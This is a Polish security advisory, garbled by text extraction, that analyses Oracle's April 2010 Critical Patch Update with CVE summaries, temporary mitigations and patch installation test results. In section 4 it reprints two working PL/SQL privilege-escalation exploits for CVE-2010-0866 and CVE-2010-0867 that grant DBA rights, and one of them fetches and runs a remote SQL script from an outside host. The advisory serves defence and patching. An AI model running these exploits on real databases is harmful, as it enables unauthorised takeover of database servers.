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1 Wprowadzenie

security

Witamy Panstwa serdecznie na stronach kolejnego wydania CPU-Info 02/2010.

Z mysla o naszych klientach wspdlnie z

ekspertami firmy Red DataBase Security sporzadziliSmy

zestawienie usunietych btedéw oraz dokonaliSmy szczegdtowej analizy poprawek znajdujgcych sie w
ostatnim wydaniu Oracle Critical Patch Update Advisory — April 2010 (CPU).

Te ustuge oferujemy Panstwu nadal bezptatnie w formie dokumentu PDF. Zawiera ona ponadto testy
instalacji CPU przeprowadzone na réznych platformach i wersjach bazy danych Oracle.

W ten sposéb chcielibysmy wesprze¢ Panstwa przy instalacji zestawu poprawek CPU, nadajac jej
bardziej przystepng i przyswajalng forme.

Bedzie nam niezmiernie mito, jesli zechcieliby Panstwo podzieli¢ sie z nami swoimi uwagami. Ewentualne

pytania prosimy kierowac na adres:

Piotr Sajda

Kierownik Dziatu Service Engineering (SE)

OPITZ CONSULTING Krakoéw Sp. z 0.0
Bratystawska 1A

31-201 Krakow

tel. 12617 1810

tel. kom. 519 309 710
piotr.sajda@opitz-consulting.com
www.opitz-consulting.pl

Bjorn Brohl
Kierownik Dziatu Strategie & Innovation
(j. niemiecki lub angielski)

OPITZ CONSULTING GmbH

Kirchstr. 6

D-51647 Gummersbach

tel. +49 2261 6001 0
bjoern.broehl@opitz-consulting.com
www.opitz-consulting.com

| l-'
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2 Podstawy

2.1 Analiza Oracle Technology Network (OTN) i Oracle Metalink

Podstawg przeprowadzonej analizy sg nizej wymienione zrédta, jak rowniez wtasne badania:

Oracle CPU April 2010 (j. ang.):

http://www.oracle.com/technology/deploy/security/critical-patch-pdates/cpuapr2010.html#AppendixDB

Map of Public Vulnerability to Advisory/Alert:
http://www.oracle.com/technology/deploy/security/critical-patch-
updates/public vuln to advisory mapping.html

Dostepnos¢ Oracle Patch (j. ang.):
https://support.oracle.com/CSP/main/article?cmd=show&type=NOT&id=1060989.1

Critical Patch Update April 2010, Vulnerability Molecule Mapping:
https://support.oracle.com/CSP/main/article?cmd=show&id=1061014.1&type=NOT

Critical Patch Update April 2010, Known Issues:
https://support.oracle.com/CSP/main/article?cmd=show&id=1060969.1&type=NOT

2.2 Dodatkowe zrodta

Nastepujace informacje zostaty opublikowane przez firmy lub osoby zewnetrzne:

http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpujan2010.html

http://blog.red-database-security.com
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3 Ocena ogodlna

Aktualna edycja CPU z kwietnia 2010 zawiera poraz pierwszy poprawki bezpieczenstwa dla produktéw
Sun oraz osiem poprawek dla systemu zarzadzania baza danych (RDBMS)'. Siedem z o$miu luk
bezpieczenstwa dotyczy réznych wersji bazy danych Oracle, z kolei jedna odnosi sie do linii produktowej
Oracle Fusion Middleware?, ktéra w powigzaniu z okreslong wersjg bazy danych przedstawia nieco

ryzykowng kombinacje. Tym samym luka ta dopetnia edycje CPU Kwiecien 2010..

Kolejnymi produktami, dla ktérych zostaty dostarczone poprawki — w sumie chodzi o 47 produktéw — sg to
Oracle Collaboration Suite, Oracle E-Business Suite, Oracle PeopleSoft Enterprise, Oracle Life Sciences,
Retail und Communications Industry Suites, jak réwniez rézne produkty Sun. Siedem z czterdziestu
siedmiu luk bezpieczenstwa przypada na rézne wersje bazy danych Oracle. Luki te jednakze bez
wczesniejszej autoryzacji nie mogg zosta¢ wykorzystane zdalnie. Dlatego w aktualnej wersji CPU nie
przedstawiono zadnych poprawek dla klienta baza/danowego. Dodatkowo zostaty opublikowane trzy
nowe poprawki PSU (Patch System Update) dla nastepujacych wersji baz danych: 11.2.0.1.1, 11.1.0.7.3
oraz 10.2.0.4.4. W sumie dwie z siedmiu luk bezpieczehstwa odnoszg sie do JVM (Java Virtual Machine),
dwie do opcjonalnego komponentu bazy danych XML DB, jedna do mechanizmu Data Change Capture,

a kolejna do systemu audytu, wreszcie ostatnia dotyczy samego silnika bazy danych RDBMS.

Najbardziej krytyczna luka w systemie bezpieczenstwa bazy danych zostata oceniona przez CVSS* Base
Score na 7.1 punktéw. (Informacje na temat stosowania przez Oralce standardu CVSS 2.0 mozna
znalezé w notce 394.487,1° - dostepnej za pomoca serwisu My Oracle Support - wymagany abonament).
W wyniku przepetnienia bufora mozliwa jest eskalacja uprawnieh podczas tworzenia nowego konta
uzytkownika, w szczegoélnosci podczas przekazywania nietypowo dtugich haset. Btad ten wymaga
przywileju ,CREATE USER?”, ktéry zwykle nadawany jest wytgcznie uprzywilejowanym uzytkownikom.
Bardziej krytycznie oceniono staby punkt w Oracle Internet Directory, ktéry w kombinacji z bazg danych
Oracle w wers;ji 9.2.0.8 (DV) otrzymat Base Score 7.5. Ponadto aktualne wydanie CPU zawiera rowniez
poprawki luk bezpieczenstwa, ktore zostaty przedstawione przez David Litchfielda® podczas konferencji
Blackhat DC” (CVE-2010-0866, CVE-2010-0867) oraz te, na ktdre zwrocilismy juz uwage w naszym
poprzednim biuletynie CPU-Info®. Zostaly one ocenione odpowiednio na Base Score 6.5 (CVE-2010-
0866) oraz 4.0 (CVE-2010-0867), pomimo dostepnego juz dla nich kodu zrédtowego, ktéry wraz z
uprawnieniem CREATE SESSION umozliwia zdobycie uprawniern DBA lub SYSDBA a w dalszej

konsekwencji umozliwia wywotywanie polecen systemu operacyjnego.

! http://www.oracle.com/technology/deploy/security/critical-patch-updates/cpuapr2010.html#AppendixDB
2 http://www.oracle.com/de/products/middleware/index.html

3 http://www.oracle.com/technology/tech/xml/xmldb/index.html

4 http://www first.org/cvss/cvss-guide.html

° https://support.oracle.com/CSP/main/article?cmd=show&type=NOT &id=394487 .1

6 http://www.davidlitchfield.com/

! http://www.blackhat.com/html/bh-dc-10/bh-dc-10-archives.html

8 http://www.opitz-consulting.pl/?id=785
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Dwie luki, ktére uzytkowanie komponentu XML DB czynig ryzykownym, zostaty ocenione na 5.5 (CVE-
2010-0852) oraz 4.0 (CVE-2010-0851). Dla obu luk bezpieczenstwa wymagany jest przywilej CREATE
SESSION. CVE-2010-0851 umozliwia eskalacje przywilejow a CVE-2010-0851 atak typu DoS.

Dalsza mozliwos¢ przeprowadzenia ataku typu SQL-Injection udostepnia luka bezpieczenstwa CVE-
2010-0870, oceniona na 3.8. Napastnik potrzebuje prawa EXECUTE do pakietu
SYS.DBMS_CDC_PUBLISH.ALTER_AUTOLOG_CHANGE_SOURCE. Istniejaca juz od 2009 roku i
rozpoznana przez Alexandra Kornbrusta luka CVE-2010-0854, oceniona na 2.1, przy pomocy
optymalizatora umozliwia otrzymanie informacji na temat audytowanych obiektéw bez pozostawiania
Sladu takiej aktywnosci. Wykorzystuje sie tu optymalizator, ktéry zwraca pewne informacje, jak np. liczbe
zwracanych wierszy zapytan. Dzieki zrecznym zapytaniom okrezng drogg mozna wydoby¢ pewne

informacje bez pozostawiania sladéw.

Podsumowujac, problemy bezpieczenstwa odnoszg sie do nastepujacych wersji baz danych - 9.2.0.8 (6
btedow), 9.2.0.8DV (6 btedow), 10.1.0.5 (4 btedy), 10.2.0.4 (3 btedy), 10.2.0.3 (2 btedy), 11.1.0.7 (4
btedy) oraz 11.2.0.1 (2 bfedy).

W naszym aktualnym wydaniu CPU-Info opisujemy réwniez, ktére wydania CPU zaplanowane sg dla
jakich platform oraz wersji baz danych. Dzieki tym informacjom chcieliby$my umozliwi¢ dtugoterminowe
planowanie bezpieczenstwa dla administratorow baz danych oraz os6b odpowiedzialnych za

bezpieczenstwo.
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4 Usuniete luki w systemie bezpieczenstwa

Ponizej prezentujemy zestawienie luk w zabezpieczeniach bazy Oracle. Wykryte naruszenia
zabezpieczeh zostaty opisane, ocenione pod katem szkodliwosci i skorygowane w udostepnionym

kumulatywnym pakiecie poprawek, CPU Kwiecieh 2010:

CVE-2010-0853 Oracle Internet Directory (dotyczy wersji: Oracle 9.2.0.8, 9.2.0.8DV, Oracle Identity
Management 10g 10.1.4 .0.1, Oracle Application Server 10.1.2.3)

Luka CVE-2010-0853 jest powaznym problemem (Base Score 7.5), ktéry zostat rozwigzany w
kwietniowym CPU 2010. Btad w komponentach Oracle Internet Directory umozliwia hakerom dostep do
danych i manipulowanie nimi. Komponenty te nadal wykazujg problem bezpieczenstwa, ktéry mozna
wykorzystac jako atak typu DoS. Problem dotyczy wersji 10.1.4.0.1. Jednakze nie mozna jednoznacznie
stwierdzi¢, czy luka jest zalezna od wersji bazy danych. Ponadto komponenty portalu w Oracle
Application Server w wersji 10.1.2.3 wykazuje btad bezpieczenstwa. W tym przypadku mozliwa jest
manipulacja danymi czy dostep do nich, jak réwniez atak DoS. Obydwa produkty mogg by¢ zaatakowane

bez autentyfikaciji.

CVE-2010-0860 Core RDBMS (dotyczy wersji: 9.2.0.8, 9 .2.0.8DV, 10.1.0.5, 10.2.0.4, 11.1.0.7; typ:
SQL-Injection )

Dla bazy danych Oracle luka ta jest opatrzona najwyzszym ryzykiem bezpieczenstwa 7.1 i dotyczy
wiekszosci wersji baz danych. Poprzez jednorazowg autentyfikacje oraz przy pomocy uprawnienia
,CREATE USER” mozna w momencie zaktadania uzytkownikéw bazy danych spowodowaé przepetnienie
bufora (Buffer Overflow). Przy tej okazji mozliwe jest utworzenie uzytkownika z nietypowo dtugim hastem,
bez walidacji tej operacji, co powoduje uzyskanie nieograniczonej kontroli nad bazg danych. Wprawdzie
takie uprawnienie powinno by¢ dostepne tylko dla administratoréw, jednakze jezeli przekazali je oni dalej,
powinni je natychmiast odebrac. Przyktadowy kod na eskalacje uprawnien obecnie nie wystepuje. Na
podstawie potrzebnych uprawnien niebezpieczenstwo jest mniejsze niz mozna by przypuszczac po Base

Core.

CVE-2010-0866 JavaVM (dotyczy wersiji: 11.1.0.7, 11.2.0.1; typ: SQL-Injection)

Oceniona na 6,5 SQL-Injection dotyczy komponentu Java VM. W tym przypadku dostepny jest
przyktadowy kod®, ktéry powoduje wykorzystanie tej luki bezpieczenistwa. Jezeli haker dysponuje kontem
w bazie danych, uprawnieniem ,CREATE SESSION” i dostepem do komponentu Oracla Java VM, moze
eskalowac uprawnienia i uzyskaé w ten sposéb dostep do bazy danych jako DBA lub SYSDBA.

W zwigzku z tym napastnik uzyskuje nie tylko dostep do bazy danych, lecz takze do serwera bazy
danych wigcznie z systemem operacyjnym. Dotyczy to wszystkich wersji 11.1.0.7 oraz 11.2.0.1.

Administratorzy, ktérzy nie moga w krétkim czasie zainstalowaé kwietniowego CPU 2010, powinni

® http://blog.red-database-security.com/2010/02/04/oracle-11g-0day-exploit-published/



/N

i red databasem
OPITZ CONSULTING =l secur ltY

natychmiast wycofa¢ uprawnienia PUBLIC do pakietu DBMS_JAVA i DBMS_JAVA_TEST. Problem ten

nie dotyczy wersji 11.2.0.1 na platformie Windows°.

Kod zrodtowy obydwu luk jest przedstawiony ponizej, uzyskany z RepScan 3.0

Eskalacja uprawnien
11.1-11.2 (11.2 Unix only)

| Typ |
| |
| Przetestowane na | 11.2.0.1 (Linux)
| |
| |

Dotyczy wersji

CREATE SESSION
David Litchfield

Wymagania

Btad znaleziony przez

Ten kod umozliwia eskalacje uprawnien do DBA albo SYSDBA. Bug ten zostat usuniety w wersji 11.2.0.1.

---- Oacle 11.2.0.1 -----

DECLARE

POL DBMS_JVM EXP_PERMS. TEMP_JAVA PQOLI CY;

CURSOR C1 IS SELECT ' GRANT' , user, ' SYS','java.io.FilePerm ssion','<<ALL
FI LES>>', ' execute',' ENABLED FROM DUAL;

BEG N COPEN Ci1;

FETCH C1 BULK COLLECT | NTO PQL;

CLCSE C1;

DBVS_JVM EXP_PERMS. | MPORT_JVM PERMS( PQL) ;

END;

/

SELECT

DBVM5_JAVA. SET_OUTPUT _TO JAVA(' I D, 'oracl e/ auroral/ rdbns/ DbnsJava', ' SYS',
"writeQutputToFile',' TEXT', NULL, NULL, NULL, NULL,0,1,1,1,1,0,' DECLARE
PRAGVA AUTONOMOUS TRANSACTI ON; BEG N EXECUTE | MVEDI ATE ' ' GRANT DBA TO
"lIluser|[]"'"; END;', '"BEGA N NULL; END;') FROM DUAL;

EXEC DBMs5_CDC | SUBSCRI BE. | NT_PURGE_W NDOW ' NO_SUCH SUBSCRI PTI ON', SYSDATE());
set rol e DBA;

---- Oacle 11.2.0.1 -----

CVE-2010-0852 XML DB (dotyczy wersji: 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.3; typ: SQL-Injection)
Jak dotad na temat luki CVE-2010-0852 jest niewiele informaciji. Dotyczy ona komponentéw Oracle XML
DB. Przy jednorazowej autentyfikacji i uprawnieniu ,CREATE SESSION" mozna eskalowa¢ uprawnienia
w wersjach 9.2.0.8, 9.2.0.8DV, 10.1.0.5 oraz 10.2.0.3. Luka z wartos$cig bezpieczenstwa oceniong na 5.5.
Haker moze w tym wypadku réwniez manipulowa¢ danymi. Podobny problem powoduje btad CVE-2010-

0851, ktdry dotyczy tych samych wersji i komponentéw Oracle.

CVE-2010-0867 JavaVM (dotyczy wersji: 10.2.0.4, 11.1.0.7, 11.2.0.1.0 ; typ: SQL-Injection)

10 http://blog.red-database-security.com/2010/04/06/oracle-11201-for-windows/
1 http://www.sentrigo.com/repscan
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Oceniona na 4.0 SQL-Injection dotyczy komponentu Java VM. Jest dla niej dostepny przyktadowy kod ",
ktéry wykorzystuje powyzszg luke. W przypadku, kiedy haker dysponuje kontem w bazie danych oraz
uprawnieniem ,CREATE SESSION®, a takze ma do dyspozycji komponent Oracle Java VM, moze
eskalowac uprawnienia i w konsekwencji uzyska¢ prawa DBA- lub SYSDBA. W zwigzku z tym nie tylko
moze uzyskac kontrole nad baza danych, ale rowniez nad serwerem bazy danych wtgcznie z systemem
operacyjnym. Problem dotyczy wersji 11.1.0.7 oraz 11.2.0.1. Administratorzy, ktérzy nie zainstalowali
kwietniowego CPU powinni pilnie wycofa¢ uprawnienia PUBLIC do pakietéw DBMS_JAVA i
DBMS_JAVA TEST. W wersji 11.2.0.1 dla systemu Windows'® problem ten juz nie wystepuje'.

Kod zrédiowy jest przedstawiony ponizej, uzyskany z RepScan 3.0™°.

Eskalacja uprawnien
10.2.0.1-10.2.0.4

| Typ |
| |
| Przetestowane na | 11.2.0.1 (Linux)
| |
| |

Dotyczy wersiji

Usuniete w unfixed (Oday)

CREATE SESSION

Wymagania

Ten kod umozliwia eskalacje uprawnien do DBA albo SYSDBA.

---- Oacle 10.2.0.4 -----

DECLARE POL DBMS_JVM EXP_PERVS. TEMP_JAVA POLI CY;
CURSOR Cl |'S SELECT ' GRANT', USER, ' SYS','j ava. i o. Fi | ePermi ssion',' <<ALL
FI LES>>' , ' execute',' ENABLED FROM DUAL;

BEG N

OPEN CL;

FETCH Cl1 BULK COLLECT I NTO POL;

CLCSE Cl;

DBVS_JVM EXP_PERMS. | MPORT_JVM PERVS( POL) ;

END;

/

SELECT DBM5_JAVA TEST. FUNCALL(' oracl e/ aurora/util/Wapper',' main',
"/oracl e/ 10g/bin/sqlplus', '/ as sysdba',

"@ttp://ww orasploit.conm beconedba. sql') FROM DUAL;

set rol e dba;

revoke dba from public;

---- Oacle 10.2.0.4 -----

CVE-2010-0851 XML DB (dotyczy wersji: 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.3; typ: DoS)

12 http://blog.red-database-security.com/2010/02/04/oracle-11g-0day-exploit-published/
13 http://blog.red-database-security.com/2010/04/06/oracle-11201-for-windows/

1 http://blog.red-database-security.com/2010/04/06/oracle-11201-for-windows/

12 http://www.sentrigo.com/repscan
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Na temat luki CVE-2010-0851 brakuje dokfadnych informacji. Dotyczy komponentu Oracle XML DB.
Poprzez jednorazowg autentyfikacje i uprawnienia ,CREATE SESSION* w wersjach 9.2.0.8, 9.2.0.8DV,
10.1.0.5 oraz 10.2.0.3 mozliwe jest przeprowadzenie ataku typu DoS. Luka z wartoscig ryzyka oceniona
4.09.

CVE-2010-0870 Change Data Capture (dotyczy wersji: 9.2.0.8, 9.2.0.8DV; typ: SQL-Injection)

Btad CVE-2010-0870 16 sklasyfikowany na poziomie ryzyka bezpieczenstwa na 3.6, dotyczy SQL-
Injection. Pakiet PL/SQL-Paket DBMS_CDC_publish nalezy do Oracle Change Data Capture. Przez
wywotanie procedury DROP_CHANGE_SOURCE oraz za pomocg odpowiednio ustawionych
parametréw mogg by¢ wywotywane istrukcje SQL z podwyzszonymi uprawnieniami SYS. Napastnik musi
posiada¢ prawa EXECUTE do tego pakietu i zosta¢ zauntentyfikowany. Problem dotyczy wersji 9.2.0.8
oraz 9.2.0.8 DV.

CVE-2010-0854 Audit (dotyczy wersji: 9.2.0.8, 9.2.0.8DV, 10.1.0.5, 10.2.0.4, 11.1.0.7)

Luka CVE-2010-0854 istnieje od 2009, zostata juz opisana przez Alexandra Kornbrusta i sklasyfikowana
na poziomie ryzyka bezpieczenstwa na 2.1, przy pomocy optymalizatora umozliwia otrzymanie informacji
na temat audytowanych obiektéw, bez pozostawiania sladu. Hakerzy wykorzystujag tu optymalizator, ktory
zwraca pewne informacije, jak np. liczbe zwracanych wierszy zapytan. Dzieki zrecznym zapytaniom
okrezng drogg mozna wydoby¢ pewne informacje bez pozostawiania sladéw. Haker potrzebuje do tego

konta w bazie danych. Alexander Kornbrust opublikuje szczegoty nt. tej luki w swoim blogu”.

Podsumowanie dla wersji 11.2.0.1:

Wersja 11.2.0.1, przede wszystkim na platformie Linux, jest podatna na btedy CVE-2010-0866 oraz CVE-
2010-0867. Wersja dla platformy Windows nie jest podatna na zadne z opublikowanych luk
bezpieczenstwa. Poniewaz istnieje tu ryzyko eskalacji uprawnierh do DBA lub SYSDBA oraz mozliwo$¢
wykonywanie polecen systemu operacyjnego, instalacja tej fatki jest bardzo zalecana. W przypadku, gdy
CPU nie moze zosta¢ w krotkim czasie zaimplementowane, zaleca sie rozwigzanie tymczasowe -

proponujemy usuniecie (po uprzednich testach) ponizszych uprawnien:

revoke execute on dbms_java from PUBLIC;

revoke execute on dbms_java_test from PUBLIC;

revoke execute on “oracle/aurora/util/Wrapper” from PUBLIC;

grant execute on sys.dbms_jvm_exp_perms to IMP_FULL_DATABASE;
grant execute on sys.dbms_jvm_exp_perms to EXP_FULL_DATABASE;

revoke execute on sys.dbms_jvm_exp_perms from PUBLIC;

16 http://packetstormsecurity.org/1004-advisories/shatter-dbmscdcsql.txt
7 http://blog.red-database-security.com/2010/04/13/oracle-cpu-april-2010-is-out/
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Podsumowanie dla wersji 11.1.0.7:

Kwietniowy CPU 2010 zawiera dla powyzszej wersji cztery poprawki bezpieczehstwa. Podobnie jak w
przypadku wersji 11.2.0.1 oceniane sg one jako krytyczne. Zalecana jest natychmiastowa instalacja tej
poprawki. W przypadku, gdy CPU nie moze zosta¢ w krotkim czasie zaimplementowany, jako
rozwigzanie tymczasowe proponujemy usuniecie (znéw po uprzednich testach) wymienionych wczesniej
uprawnien. Poza tym nalezy sprawdzi¢, jaki uzytkownik posiada uprawnienie CREATE USER. Powinno
ono zosta¢ odebrane, poniewaz mozna sie liczy¢ z tym, ze wkrotce zostanie opublikowany przyktadowy

kod do wykorzystania tej luki.

Podsumowanie dla wersji 10.2.0.4:
W wersiji tej wystepujg dwa zaobserwowane btedy w systemie bezpieczenstwa - CVE-2010-0860 oraz

CVE-2010-0867. Zalecamy postepowanie jak w przypadku wersji 11.1.0.7.

Podsumowanie dla wersji 10.2.0.3:
W wersji tej jedynie komponent XML jest zagrozony. Uzytkownikom powyzszej wersji zalecamy
natychmiastowe zainstalowanie CPU. Poniewaz na temat tego problemu nie istniejg dalsze informacje,

nie jesteSmy w stanie podac zadnego rozwigzania tymczasowego.

Podsumowanie dla wersji 10.1.0.5:
Wersja ta jest podatna na krytyczny btad CVE-2010-0860. Nalezy sprawdzi¢, ktdrzy uzytkownicy

posiadajg odpowiednie prawa.

Podsumowanie dla wersji 9.2.0.8DV / 9.2.0.8:
Szes¢ z osmiu opublikowanych w CPU btedéw dotyczy powyzszej wersji bazy danych. Z tego powodu

zalecamy natychmiastowa instalacje CPU.

Kolejne wydanie Oracle CPU

Kolejna edyja CPU zaplanowana jest na 13 lipca 2010. Jak zwykle poinformujemy Panstwa o wszelkich
szczegotach. Nastepne wersje Oracle Critical Patch Updates ukazg sie odpowiednio 12 pazdziernika
2010 oraz 18 stycznia 2011 roku.
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5 Wyniki testow instalacji CPU na réznych systemach

5.1 Opis instalacji CPU

Poniewaz jestesSmy sSwiadomi, ze instalacja kazdego z Critical Patch Updates (CPU) na réznych
systemach wymaga wiele trudu, wykonali§my to zadanie dla Pahstwa. Zatem w ramach nowego CPU-

Info zainstalowalismy kazde CPU na réznorodnych systemach i wersjach baz danych Oracle.

S3 to aktualnie:

Solaris 64 Bit willrg e sl
Plattform Linux x86-64 (SPARC) AIX 5L 64Windows 2003
R2 SP2 64 Bit
| 11.2.01 | 11.1.0.7 | 11.1.0.7 | 11.1.0.7
Version | 11.1.0.7 | 10.2.0.4 | 10.2.0.4 | 10.2.0.4
| 10204 | | |

Tabela 2: Przetestowane systemy i wersje baz danych

Instalacje sg testowane zaréwno manualnie jak i automatycznie poprzez Oracle Grid Control. Chetnie
wesprzemy Panstwa przy konfiguracji Oracle Grid Control odno$nie automatycznego Patch Deployment

lub tez innej konfiguracji oprogramowania firmy Oracle.

Jako podstawe do instalacji aktualnego CPU wykorzystujemy zawsze wczesniejsze instalacje CPU (dla

aktualnego CPU-Info wykorzystalismy CPU ze stycznia 2010)

5.2 Wyniki przeprowadzonych testéow

Ponizej przedstawiamy zestawienie przedstawiajgce liste tatek zainstalowanych na poszczegdinych
wersjach baz danych opatrzong komentarzami odnosnie ewentualnych spostrzezen/problemow

zaobserwowanych podczas instalacji.
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. . . Solaris 64 Bit Solaris 64 Bit
Platforma Linux x86-64 Linux x86-64 Linux x86-64 (SPARC) (SPARC)
Wersja RDBMS 11.1.0.7 10.2.0.4 11.2.0.1 10.2.0.4 11.1.0.7
N Patch
umer Fatcha 9369783 9352191 9369797 9352191 9369783
Wynik instalacji p p p p p
manulanej o < o @ @
Instalacja
Instalacja reczna .
reczna
Komentarz do poprawnie Instalacja reczna Instalacja reczna poprawnie InStaéa?,f Wrr?i(;zna
instalacji rzebiega na poprawnie przebiega poprawnie przebiega przebiega na rzegiep a na bazie
manualnej P 9 na bazie CPUJan2010 | na bazie CPUJan2010 bazie P 9
bazie CPUJan2010 CPUJan2010
CPUJan2010
Wynik instalacji ) ] . . p
automatycznej 9 @ 9 @ @
Wym;gana
reinstalacja
Komentarz do agenta: agentca Instalacja
instalacji —f Instalacja poprawnie poprawnie Instalacja poprawnie
automatycznei przebiega na bazie Instalacja poprawna przebiega na przebiega na bazie
yeznej Instalacja CPUJan2010 bazie CPUJan2010
poprawnie CPUJan2010
przebiega na
bazie
CPUJan2010
Tabelle 3a: Wyniki instalacji testowych
. . Windows AMD
Plattform AIX 5L AIX 5L Windows AMD 64Windows 2003 | ¢ 4\v: yows 2003 R2 SP2
R2 SP2 64 Bit .
64 Bit
Wersja RDBMS 10.2.0.4 11.1.0.7 10.2.0.4 11.1.0.7
INumer Patcha
ymer Fateha 9352191 9369783 9393550 9392335
Wynik instalacji
manulanej ] @ @ [
Komentarz do Instalacja reczna . . . Instalacja reczna
instalacji poprawnie przebiega na Instalacia reczna Instalacja reczna poprawnie poprawnie przebiega na
manualnej bazie CPUJan2010 poprawnie | przebiega na bazie CPUJan2010 bazie CPUJan2010
przebiega na bazie
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automatycznej

Komentarz do
instalacji
automatycznej
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&m Security

CPUJan2010

Wynik instalacji

OUI-67124: Copy failed
lib/libjox10.a. This is a
commonly reported error
for AIX platform. Running
lusr/sbin/slibclean as root
is used to resolve this
condition

Instalacja poprawnie
przebiega na bazie
CPUJan2010

expandPatch failed,
Bug 8620131
SUPPORT
CHECKSUM
CHECK IN
OPATCH UPDATE
JOB. Rozwigzanie:
dodanie pliku
OPatch

Instalacja
poprawnie
przebiega na bazie
CPUJan2010

Instalacja poprawnie przebiega na

bazie CPUJan2010

Instalacja poprawnie
przebiega na bazie
CPUJan2010

Tabelle 3b: Wyniki instalacji testowych

Legenda:

& = Wykonano pomysinie, zadne btedy nie wystapity.

% =Wykonano pomyslinie, lecz dodatkowe kroki musiaty zosta¢ wykonane
@ = Btad. Dany krok nie zostat wykonany
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6 Dodatek

6.1 Glosariusz

Ponizszy stownik zawiera krétkie opisy terminéw uzytych w CPU-Info.

CPU - oznacza Critical Patch Updates, okreslenie uzywane przez Oracle na poprawki zwigzane z
bezpieczenstwem. Za pomoca zapytania SQL (select * from dba_registry_history) mozna dowiedzie¢ sie,

jaka poprawka jest zainstalowana w bazie danych.

CVE — jest skrétem od ,Common Vulnerabilities and Exposures®, bedacym standardowym terminem dla

luk w systemie bezpieczenstwa w systemach komputerowych.

DoS — skrét od ,Denial of Service* i oznacza forme ataku na serwer lub komputer w sieci celem

uniemozliwienia zdolnosci do swiadczenia jego ustug. Z reguty dokonuje sie tego przez przecigzenie.

SQL-Injection — jest lukg w systemie bezpieczenstwa we (wszystkich) bazach danych, dzieki ktorej
atakujacy uzywajac dodatkowych polecen SQL pozyskuje uprawnienia lub dostep do nieuprawnionych
danych. SQL-Injection moze wystapi¢ na wszystkich warstwach oprogramowania (klient, serwer
aplikacyjny, baza danych, skrypty bazodanowe). Przyczyng jest zawsze zla walidacja wprowadzanych

danych.

7 Wskazowki prawne

W celu sporzadzenia powyzszego CPU-Info OPITZ CONSULTING oraz firma Red Database Security
przeprowadzajg testy w oparciu o instalacje standardowe. Weryfikacje te przeprowadzone sg z nalezytg
starannoscig i obszerng wiedzg doswiadczonych ekspertow. Nie mogac jednak wykluczy¢ dodatkowych
czynnikéw wplywajacych na réznice pomiedzy Srodowiskiem testowym a specyfikg sSrodowiska klienta,
OPITZ CONSULTING oraz firma Red Database Security nie ponoszg jednak odpowiedzialnosci za
szkody powstate w skutek zainstalowania lub nie zainstalowania poprawek zawartych w Critical Patch
Update.



